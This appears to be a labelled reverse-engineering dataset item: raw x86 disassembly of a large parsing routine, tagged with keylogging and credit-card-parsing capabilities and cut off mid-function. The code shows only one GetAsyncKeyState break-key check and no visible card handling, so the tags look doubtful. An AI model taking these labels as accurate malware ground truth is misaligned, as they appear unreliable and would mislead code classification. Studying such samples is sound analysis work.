Function at 0x4b08ad
Capabilities:
Log keystrokes via polling
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff24
push ebx
push esi
push edi
lea edi, [ebp - 0x48]
xor eax, eax
mov dword [ebp - 8], eax
xor edx, edx
mov dword [ebp - 0xc], edx
xor ecx, ecx
mov dword [ebp - 0x10], ecx
xor eax, eax
mov dword [ebp - 0x14], eax
xor edx, edx
mov dword [ebp - 0x18], edx
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
xor eax, eax
mov dword [ebp - 0x20], eax
xor edx, edx
mov dword [ebp - 0x24], edx
xor ecx, ecx
mov dword [ebp - 0x28], ecx
xor eax, eax
mov dword [ebp - 0x2c], eax
xor edx, edx
mov dword [ebp - 0x30], edx
xor ecx, ecx
mov dword [ebp - 0x34], ecx
xor eax, eax
mov dword [ebp - 0x38], eax
xor edx, edx
mov dword [ebp - 0x3c], edx
xor ecx, ecx
mov dword [ebp - 0x40], ecx
xor eax, eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], 1
xor edx, edx
mov dword [ebp - 0x58], edx
xor ecx, ecx
mov dword [ebp - 0x5c], ecx
xor eax, eax
mov dword [ebp - 0x60], eax
xor edx, edx
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x68], 1
xor ecx, ecx
mov dword [ebp - 0x6c], ecx
xor eax, eax
mov dword [ebp - 0x78], eax
xor edx, edx
mov dword [ebp - 0x7c], edx
xor ecx, ecx
mov dword [ebp - 0x80], ecx
xor eax, eax
mov dword [ebp - 0x84], eax
xor edx, edx
mov dword [ebp - 0x88], edx
xor ecx, ecx
mov dword [ebp - 0x90], ecx
xor eax, eax
mov dword [ebp - 0x9c], eax
xor edx, edx
mov dword [ebp - 0xa0], edx
xor ecx, ecx
mov dword [ebp - 0xa4], ecx
xor eax, eax
mov dword [ebp - 0xa8], eax
xor edx, edx
mov dword [ebp - 0xac], edx
xor ecx, ecx
mov dword [ebp - 0xb0], ecx
xor eax, eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp + 0x50], 0
jne 0x4b09ab
lea edx, [ebp - 0x9c]
mov dword [ebp + 0x50], edx
mov dword [ebp - 0xa0], 1
cmp dword [ebp + 0x54], 0
jne 0x4b09c4
lea ecx, [ebp - 0xa4]
mov dword [ebp + 0x54], ecx
mov dword [ebp - 0xa8], 1
cmp dword [ebp + 0x58], 0
jne 0x4b09d3
lea eax, [ebp - 0xac]
mov dword [ebp + 0x58], eax
mov byte [0x5803c4], 0
mov edx, dword [ebp + 0x2c]
mov dword [ebp - 0x74], edx
xor ecx, ecx
mov dword [ebp - 0xb8], ecx
cmp dword [ebp + 0x4c], 0
je 0x4b0a13
push dword [ebp + 0x4c]
call fcn.00427d80
test eax, eax
jne 0x4b0a04
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov edx, dword [ebp + 0x4c]
mov ecx, dword [edx + 0x16c]
mov dword [ebp - 0xb8], ecx
push dword [ebp + 0x60]
call fcn.0041261f
test eax, eax
jne 0x4b0a4a
push dword [ebp + 8]
call fcn.00412717
mov dword [ebp + 0x60], eax
cmp dword [ebp + 0x60], 0
jne 0x4b0a4a
mov eax, dword [0x55f25c]
mov dword [ebp + 0x60], eax
cmp dword [ebp + 0x60], 0
je 0x4b60b0
mov edx, dword [ebp + 0x60]
mov ecx, dword [edx]
mov dword [ebp + 8], ecx
push dword [ebp + 8]
call fcn.0051fafa
test eax, eax
jne 0x4b0a5e
mov eax, dword [ebp + 0x60]
mov edx, dword [eax]
mov dword [ebp + 8], edx
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x18], ecx
jmp 0x4b0a6f
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x40]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x4b0a7e
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0x28], 0
je 0x4b0a66
cmp dword [ebp - 0x18], 0
je 0x4b0a8d
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x28]
mov dword [ebp + 0x4c], edx
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x4b60b0
cmp dword [ebp + 0x38], 0
jne 0x4b0abb
push 0
push str._____.:____0
push 0
call fcn.004c6a18
mov dword [ebp + 0x38], eax
mov dword [ebp + 0x3c], 1
cmp dword [ebp + 0x24], 0
jne 0x4b0ad6
push 0x3e7
call fcn.00559d70
pop ecx
mov dword [ebp + 0x24], eax
mov dword [ebp - 8], 1
cmp dword [ebp + 0x1c], 0
jne 0x4b0af1
push 0x3e7
call fcn.00559d70
pop ecx
mov dword [ebp + 0x1c], eax
mov dword [ebp - 0xc], 1
cmp dword [ebp + 0x20], 0
jne 0x4b0b0c
push 0x3e7
call fcn.00559d70
pop ecx
mov dword [ebp + 0x20], eax
mov dword [ebp - 0x10], 1
cmp dword [ebp + 0x24], 0
je 0x4b0b1e
cmp dword [ebp + 0x1c], 0
je 0x4b0b1e
cmp dword [ebp + 0x20], 0
jne 0x4b0b36
push 2
push 0x568fd1
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
push 0x3e7
push 0
push dword [ebp + 0x24]
call fcn.0054e10c
add esp, 0xc
push 0x3e7
push 0
push dword [ebp + 0x1c]
call fcn.0054e10c
add esp, 0xc
push 0x3e7
push 0
push dword [ebp + 0x20]
call fcn.0054e10c
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x70], eax
cmp dword [ebp + 0x14], 3
jne 0x4b0b88
xor edx, edx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x70], 1
jmp 0x4b0c34
cmp dword [ebp + 0x14], 7
jne 0x4b0ba1
mov dword [ebp - 0x58], 2
mov dword [ebp - 0x70], 1
jmp 0x4b0c34
cmp dword [ebp + 0x14], 5
jne 0x4b0bb5
xor ecx, ecx
mov dword [ebp + 0x14], ecx
mov dword [ebp - 0x58], 2
jmp 0x4b0bc9
cmp dword [ebp + 0x14], 6
jne 0x4b0bc9
mov dword [ebp + 0x14], 1
mov dword [ebp - 0x58], 2
cmp dword [ebp + 0x14], 0
jne 0x4b0c16
mov dword [ebp - 0x5c], 1
mov eax, dword [ebp - 0x18]
mov ebx, dword [eax]
jmp 0x4b0bde
inc ebx
cmp byte [ebx], 0x20
je 0x4b0bdd
cmp byte [ebx], 0
je 0x4b6047
mov al, byte [ebx]
cmp al, byte [0x56c30c]
jne 0x4b0c08
mov byte [ebx], 0x2f
mov dl, byte [ebx + 1]
cmp dl, byte [0x56c30c]
jne 0x4b0c08
mov byte [ebx + 1], 0x2f
cmp byte [ebx], 0x2f
je 0x4b0c34
mov dword [ebp - 0x70], 1
jmp 0x4b0c34
cmp dword [ebp + 0x14], 2
jne 0x4b0c25
mov dword [ebp - 0x58], 1
jmp 0x4b0c34
cmp dword [ebp + 0x14], 4
jne 0x4b0c34
mov dword [ebp + 0x14], 1
jmp 0x4b0bd6
cmp dword [ebp - 0x70], 0
je 0x4b0c8c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
mov edx, dword [ebp + 0x24]
mov edi, eax
mov esi, edx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 8]
call fcn.0045035f
test eax, eax
jne 0x4b60b0
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
push dword [ebp + 0x60]
call fcn.0041261f
test eax, eax
jne 0x4b0cc4
push dword [ebp + 8]
call fcn.00412717
mov dword [ebp + 0x60], eax
cmp dword [ebp + 0x60], 0
jne 0x4b0cc4
mov edx, dword [0x55f25c]
mov dword [ebp + 0x60], edx
cmp dword [ebp + 0x60], 0
je 0x4b60b0
mov ecx, dword [ebp + 0x60]
mov eax, dword [ecx]
mov dword [ebp + 8], eax
push dword [ebp + 8]
call fcn.0051fafa
test eax, eax
jne 0x4b0cd8
mov edx, dword [ebp + 0x60]
mov ecx, dword [edx]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 0x60]
xor edx, edx
mov dword [eax + 0x1c8c], edx
cmp dword [ebp - 0x18], 0
je 0x4b0d00
cmp dword [ebp - 0x18], 0
je 0x4b0d0c
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0x1c], 0
je 0x4b0d0c
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp + 0xc]
je 0x4b0d0c
mov dword [ebp - 0x54], 1
jmp 0x4b60b0
cmp dword [ebp - 0x20], 0
je 0x4b0d25
mov edx, dword [ebp - 0x20]
mov ebx, dword [edx]
mov eax, dword [ebp - 0x20]
mov edx, dword [eax + 0x24]
mov dword [ebp - 0x44], edx
jmp 0x4b0edb
cmp dword [ebp + 0x14], 0
jne 0x4b0d7e
mov ecx, dword [ebp - 0x18]
mov ebx, dword [ecx]
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x24]
mov dword [ebp - 0x44], edx
jmp 0x4b0d3c
inc ebx
cmp byte [ebx], 0x20
je 0x4b0d3b
cmp byte [ebx], 0
je 0x4b6047
cmp byte [ebx], 0x2f
jne 0x4b0d74
inc ebx
cmp byte [ebx], 0
je 0x4b6047
cmp byte [ebx], 0x2f
jne 0x4b0d74
inc ebx
cmp byte [ebx], 0
je 0x4b6047
mov dword [ebp + 0x14], 1
jmp 0x4b0c8c
mov ecx, dword [ebp - 0x18]
mov ebx, dword [ecx]
jmp 0x4b0edb
mov eax, dword [ebp - 0x18]
push dword [eax + 0x24]
push edi
push dword [ebp + 0x24]
mov edx, dword [ebp - 0x18]
push dword [edx]
call fcn.004e5f99
mov dword [ebp - 0x1c], eax
cmp dword [edi], 0
jne 0x4b0da4
xor ecx, ecx
mov dword [ebp - 0x54], ecx
jmp 0x4b60b0
cmp dword [ebp - 0x1c], 0
je 0x4b0ecd
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
mov ebx, dword [edx]
mov eax, dword [ebp - 0x20]
mov edx, dword [eax + 0x24]
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x38], 0
je 0x4b0edb
mov ecx, dword [ebp - 0x38]
cmp dword [ecx + 0xc], 0
je 0x4b0edb
push 3
call sub.USER32.dll_GetAsyncKeyState
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x4b0e30
push 0
push 0xaf3
call fcn.0042c771
mov edi, eax
mov esi, 0x5803c4
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
call fcn.0042c6cc
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov edx, dword [ebp - 0x38]
cmp dword [edx + 0xc], 1
jne 0x4b0ec3
mov ecx, dword [ebp - 0x38]
mov eax, dword [ecx + 0x30]
cmp eax, dword [ebp - 0x18]
jne 0x4b0ec3
xor edx, edx
mov dword [edi], edx
cmp dword [ebp - 0x20], 0
je 0x4b0e96
push 0
push 0
mov ecx, dword [ebp - 0x20]
push dword [ecx]
call fcn.004e5454
mov ebx, eax
cmp byte [ebx], 0
je 0x4b0e87
push 6
push 0x568fda
push ebx
call fcn.0054e4e8
add esp, 0xc
test eax, eax
jne 0x4b0e87
inc dword [edi]
mov eax, dword [ebp - 0x38]
mov edx, dword [eax + 8]
cmp edx, dword [edi]
jle 0x4b0e96
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0x40]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4b0e52
cmp dword [ebp - 0x20], 0
jne 0x4b0eb5
push 0x5803c4
push 0xd63
call fcn.0042c771
xor edx, edx
mov dword [ebp - 0x54], edx
jmp 0x4b60b0
mov ecx, dword [ebp - 0x20]
mov ebx, dword [ecx]
mov eax, dword [ebp - 0x20]
mov edx, dword [eax + 0x24]
mov dword [ebp - 0x44], edx
mov ecx, dword [ebp - 0x38]
xor eax, eax
mov dword [ecx + 0xc], eax
jmp 0x4b0edb
mov edx, dword [ebp - 0x18]
mov ebx, dword [edx]
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x24]
mov dword [ebp - 0x44], edx
mov ecx, dword [ebp - 0x74]
mov dword [ebp + 0x2c], ecx
xor eax, eax
mov dword [ebp - 0x6c], eax
lea edx, [ebp + 0x2c]
push edx
lea ecx, [ebp - 0x6c]
push ecx
push ebx
call fcn.004e5454
mov ebx, eax
cmp byte [ebx], 0
je 0x4b6047
cmp dword [ebp - 0x5c], 0
je 0x4b0f19
cmp byte [ebx], 0x24
je 0x4b0f0f
cmp byte [ebx], 0x25
jne 0x4b0f19
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov edx, dword [ebp + 0x24]
push edi
mov esi, edx
mov edi, ebx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
cmp dword [ebp + 0x14], 0
je 0x4b291a
cmp byte [ebx], 0x3b
je 0x4b6047
cmp byte [ebx], 0x72
je 0x4b0f5c
cmp byte [ebx], 0x52
jne 0x4b0f84
push 3
push 0x568fe2
push ebx
call fcn.0054e4e8
add esp, 0xc
test eax, eax
jne 0x4b0f84
cmp byte [ebx + 3], 0
je 0x4b6047
cmp byte [ebx + 3], 0x20
je 0x4b6047
push 0x568fe7
push dword [ebp + 0x24]
call fcn.0054e5a0
add esp, 8
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
je 0x4b10fb
mov ebx, dword [ebp - 0x94]
add ebx, 2
jmp 0x4b0fb3
inc ebx
cmp byte [ebx], 0x20
je 0x4b0fb2
cmp byte [ebx], 0
jne 0x4b10fb
mov eax, dword [ebp - 0x94]
mov byte [eax], 0
cmp dword [ebp - 0x20], 0
je 0x4b1054
mov edx, dword [ebp - 0x20]
cmp dword [edx + 0x40], 0
je 0x4b1054
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0x40]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4b10fb
push dword [ebp + 0x24]
call fcn.0054e28c
pop ecx
mov ebx, eax
mov eax, dword [ebp - 0x20]
push dword [eax]
call fcn.0054e28c
pop ecx
add ebx, eax
cmp ebx, 0x3b5
jbe 0x4b1029
push 0x5803c4
push 0xd49
call fcn.0042c771
xor edx, edx
mov dword [ebp - 0x54], edx
jmp 0x4b60b0
mov ecx, dword [ebp - 0x20]
push dword [ecx]
push dword [ebp + 0x24]
call fcn.0054e1b0
add esp, 8
push 0x568feb
push dword [ebp + 0x24]
call fcn.0054e5a0
add esp, 8
mov dword [ebp - 0x94], eax
jmp 0x4b0f9a
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
je 0x4b1068
lea edx, [ebp - 0x1c]
push edx
call fcn.004c6e49
cmp dword [ebp - 0x18], 0
je 0x4b10fb
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx + 0x40]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4b10fb
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0x1c], 0
jne 0x4b10fb
push dword [ebp + 0x24]
call fcn.0054e28c
pop ecx
mov ebx, eax
mov eax, dword [ebp - 0x18]
push dword [eax]
call fcn.0054e28c
pop ecx
add ebx, eax
cmp ebx, 0x3b5
jbe 0x4b10c3
push 0x5803c4
push 0xd49
call fcn.0042c771
xor edx, edx
mov dword [ebp - 0x54], edx
jmp 0x4b60b0
mov ecx, dword [ebp - 0x18]
push dword [ecx]
push dword [ebp + 0x24]
call fcn.0054e1b0
add esp, 8
push 0x568fef
push dword [ebp + 0x24]
call fcn.0054e5a0
add esp, 8
mov dword [ebp - 0x94], eax
jmp 0x4b0f9a
mov ebx, dword [ebp + 0x24]
cmp byte [ebx], 0
je 0x4b6047
cmp byte [ebx], 0x3a
jne 0x4b11f4
push dword [ebp - 0x18]
push ebx
lea eax, [ebp - 0x28]
push eax
call fcn.0048dc74
test eax, eax
jne 0x4b1145
cmp dword [ebp - 0x80], 0
je 0x4b1130
push dword [ebp - 0x80]
call fcn.00559c5c
pop ecx
xor edx, edx
mov dword [ebp - 0x80], edx
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], ecx
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
cmp dword [ebp - 0x80], 0
je 0x4b6047
mov edx, dword [ebp - 0x28]
mov ecx, dword [edx + 0x44]
mov eax, dword [ecx]
cmp byte [eax], 0x25
jne 0x4b117b
push dword [ebp + 0x38]
push dword [ebp + 0x20]
mov edx, dword [ebp - 0x28]
mov ecx, dword [edx + 0x44]
push dword [ecx]
call fcn.0051dafd
test eax, eax
jne 0x4b11a9
mov eax, dword [ebp + 0x20]
mov byte [eax], 0
jmp 0x4b11a9
mov edx, dword [ebp - 0x28]
mov ecx, dword [edx + 0x44]
mov eax, dword [ecx]
mov edx, dword [ebp + 0x20]
push edi
mov edi, eax
mov esi, edx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp + 0x20]
cmp byte [eax], 0
je 0x4b6047
push 0x20
push dword [ebp + 0x20]
call fcn.0054e1ec
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x4b11cb
mov byte [ebx], 0
push dword [ebp + 0x20]
push dword [ebp - 0x80]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b6047
push dword [ebp - 0x80]
call fcn.00559c5c
pop ecx
xor eax, eax
mov dword [ebp - 0x80], eax
jmp 0x4b6047
cmp dword [ebp - 0x80], 0
jne 0x4b6047
cmp dword [ebp + 0x40], 0
je 0x4b1305
cmp dword [ebp - 0x88], 0
jne 0x4b1305
mov dword [edi], 5
mov edx, dword [ebp + 0x40]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x4b1238
inc dword [edi]
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x40]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4b1227
push 0xa
call fcn.00559d70
pop ecx
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x4b1267
push 2
push 0x568ff3
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
push 9
push 0
push dword [ebp - 0x88]
call fcn.0054e10c
add esp, 0xc
mov edx, dword [edi]
shl edx, 2
push edx
call fcn.00559d70
pop ecx
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4b12ac
push 2
push 0x568ffe
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov ecx, dword [ebp - 0x84]
xor eax, eax
mov dword [ecx], eax
mov esi, 1
mov eax, dword [ebp + 0x40]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4b12e5
mov edx, dword [ebp - 0x84]
mov ecx, dword [ebp - 4]
mov eax, dword [ecx]
mov dword [edx + esi*4], eax
inc esi
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x40]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x4b12c7
mov dword [ebp - 0x50], esi
cmp esi, dword [edi]
jge 0x4b14d6
mov eax, dword [ebp - 0x84]
xor edx, edx
mov dword [eax + esi*4], edx
inc esi
cmp esi, dword [edi]
jl 0x4b12f0
jmp 0x4b14d6
cmp dword [ebp + 0x10], 0
je 0x4b14d6
cmp dword [ebp - 0x88], 0
jne 0x4b14d6
mov ebx, dword [ebp + 0x10]
jmp 0x4b1322
inc ebx
cmp byte [ebx], 0x20
je 0x4b1321
cmp byte [ebx], 0
je 0x4b14c9
push ebx
call fcn.0054e28c
pop ecx
add eax, 0xa
push eax
call fcn.00559d70
pop ecx
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x4b1368
push 2
push 0x569009
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov eax, dword [ebp - 0x88]
push edi
mov esi, eax
mov edi, ebx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
cmp dword [ebp - 0x90], 0
je 0x4b13b2
mov eax, dword [ebp + 0x20]
mov dl, byte [eax]
push edx
push dword [ebp - 0x88]
call fcn.004e570f
add eax, 5
mov dword [edi], eax
jmp 0x4b13c4
push 0x20
push dword [ebp - 0x88]
call fcn.004e570f
add eax, 5
mov dword [edi], eax
mov ecx, dword [edi]
shl ecx, 2
push ecx
call fcn.00559d70
pop ecx
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4b13f7
push 2
push 0x569014
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
cmp dword [ebp - 0x90], 0
je 0x4b145a
mov eax, dword [ebp - 0x84]
xor edx, edx
mov dword [eax], edx
push dword [ebp + 0x20]
push dword [ebp - 0x88]
call fcn.0054e644
add esp, 8
mov ecx, dword [ebp - 0x84]
mov dword [ecx + 4], eax
mov esi, 2
cmp esi, dword [edi]
jge 0x4b14b2
push dword [ebp + 0x20]
push 0
call fcn.0054e644
add esp, 8
mov edx, dword [ebp - 0x84]
mov dword [edx + esi*4], eax
mov eax, dword [ebp - 0x84]
cmp dword [eax + esi*4], 0
je 0x4b14b2
inc esi
cmp esi, dword [edi]
jl 0x4b1431
jmp 0x4b14b2
mov ecx, dword [ebp - 0x84]
xor eax, eax
mov dword [ecx], eax
push 0x56901f
push dword [ebp - 0x88]
call fcn.0054e644
add esp, 8
mov edx, dword [ebp - 0x84]
mov dword [edx + 4], eax
mov esi, 2
cmp esi, dword [edi]
jge 0x4b14b2
push 0x569022
push 0
call fcn.0054e644
add esp, 8
mov edx, dword [ebp - 0x84]
mov dword [edx + esi*4], eax
mov eax, dword [ebp - 0x84]
cmp dword [eax + esi*4], 0
je 0x4b14b2
inc esi
cmp esi, dword [edi]
jl 0x4b1489
mov dword [ebp - 0x50], esi
cmp esi, dword [edi]
jge 0x4b14c9
mov ecx, dword [ebp - 0x84]
xor eax, eax
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [edi]
jl 0x4b14b9
cmp dword [ebp - 0x90], 0
jne 0x4b5c05
cmp dword [ebp - 0x14], 0
je 0x4b14e5
lea edx, [ebp - 0x14]
push edx
call fcn.004c6e49
push 0x20
push dword [ebp + 0x24]
call fcn.004e57b7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4b1510
push 2
push 0x569025
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
cmp dword [ebp - 0x30], 0
je 0x4b1f99
cmp dword [ebp + 0x54], 0
je 0x4b153a
mov ecx, dword [ebp + 0x54]
cmp dword [ecx], 0
je 0x4b153a
mov eax, dword [ebp + 0x54]
push dword [eax]
call fcn.00559c5c
pop ecx
mov edx, dword [ebp + 0x54]
xor ecx, ecx
mov dword [edx], ecx
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x14]
jne 0x4b154c
xor edx, edx
mov dword [ebp - 0x30], edx
jmp 0x4b1778
cmp dword [ebp - 0x14], 0
je 0x4b1778
cmp dword [ebp - 0x30], 0
je 0x4b1778
mov ecx, dword [ebp + 0x20]
mov byte [ecx], 0
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x40]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x4b1687
mov ecx, dword [ebp - 4]
push dword [ecx]
call fcn.004aa02c
test eax, eax
je 0x4b1621
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x40]
cmp edx, dword [ebp - 4]
jne 0x4b15a4
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x40]
mov dword [ebp - 4], eax
jmp 0x4b1687
push dword [ebp + 0x20]
call fcn.0054e28c
pop ecx
add eax, 2
push eax
mov edx, dword [ebp - 0x14]
push dword [edx]
call fcn.0055a23c
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x4b161a
mov eax, dword [ebp - 0x14]
mov dword [eax], ebx
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
mov eax, dword [ebp + 0x20]
push edi
mov esi, ecx
mov edi, eax
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
jmp 0x4b1604
mov eax, dword [ebp - 0x14]
push dword [eax + 0x40]
push dword [ebp - 0x14]
call fcn.004c6c7e
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx + 0x40]
cmp ecx, dword [ebp - 4]
jne 0x4b15f6
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x40]
mov dword [ebp - 4], edx
jmp 0x4b1687
xor ecx, ecx
mov dword [ebp - 4], ecx
jmp 0x4b1687
mov eax, dword [ebp + 0x20]
cmp byte [eax], 0
jne 0x4b1654
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
mov eax, dword [ebp + 0x20]
push edi
mov edi, ecx
mov esi, eax
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
push 0x56902f
push dword [ebp + 0x20]
call fcn.0054e1b0
add esp, 8
mov eax, dword [ebp - 4]
push dword [eax]
push dword [ebp + 0x20]
call fcn.0054e1b0
add esp, 8
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x40]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x4b1579
cmp dword [ebp - 4], 0
je 0x4b1778
mov eax, dword [ebp + 0x20]
mov byte [eax], 0
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x40]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x4b1778
mov ecx, dword [ebp + 0x20]
cmp byte [ecx], 0
jne 0x4b16df
mov eax, dword [esi]
mov edx, dword [ebp + 0x20]
push esi
push edi
mov edi, eax
mov esi, edx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
push 0x569032
push dword [ebp + 0x20]
call fcn.0054e1b0
add esp, 8
mov eax, dword [ebp - 4]
push dword [eax]
push dword [ebp + 0x20]
call fcn.0054e1b0
add esp, 8
mov edx, dword [ebp - 4]
cmp dword [edx + 0x40], 0
jne 0x4b1765
push dword [ebp + 0x20]
call fcn.0054e28c
pop ecx
add eax, 2
push eax
push dword [esi]
call fcn.0055a23c
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x4b1778
mov dword [esi], ebx
mov eax, dword [esi]
mov edx, dword [ebp + 0x20]
push esi
push edi
mov esi, eax
mov edi, edx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
jmp 0x4b175c
push eax
push dword [ebp - 0x14]
call fcn.004c6c7e
mov eax, dword [esi + 0x40]
test eax, eax
jne 0x4b1753
jmp 0x4b1778
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x40]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x4b16ad
push dword [ebp + 0x60]
push dword [ebp - 0x14]
call fcn.004aa508
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x4b18b2
cmp dword [ebp - 0xbc], 0xffffffff
jne 0x4b17e7
cmp dword [ebp - 0x3c], 0
je 0x4b17b9
push 0x5803c4
push 0xd5c
call fcn.0042c771
jmp 0x4b18a8
cmp dword [ebp - 0x34], 2
jne 0x4b17d3
push 0x5803c4
push 0xd53
call fcn.0042c771
jmp 0x4b18a8
push 0x5803c4
push 0xd4c
call fcn.0042c771
jmp 0x4b18a8
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x40], 0
je 0x4b186b
cmp dword [ebp - 0x3c], 0
je 0x4b181d
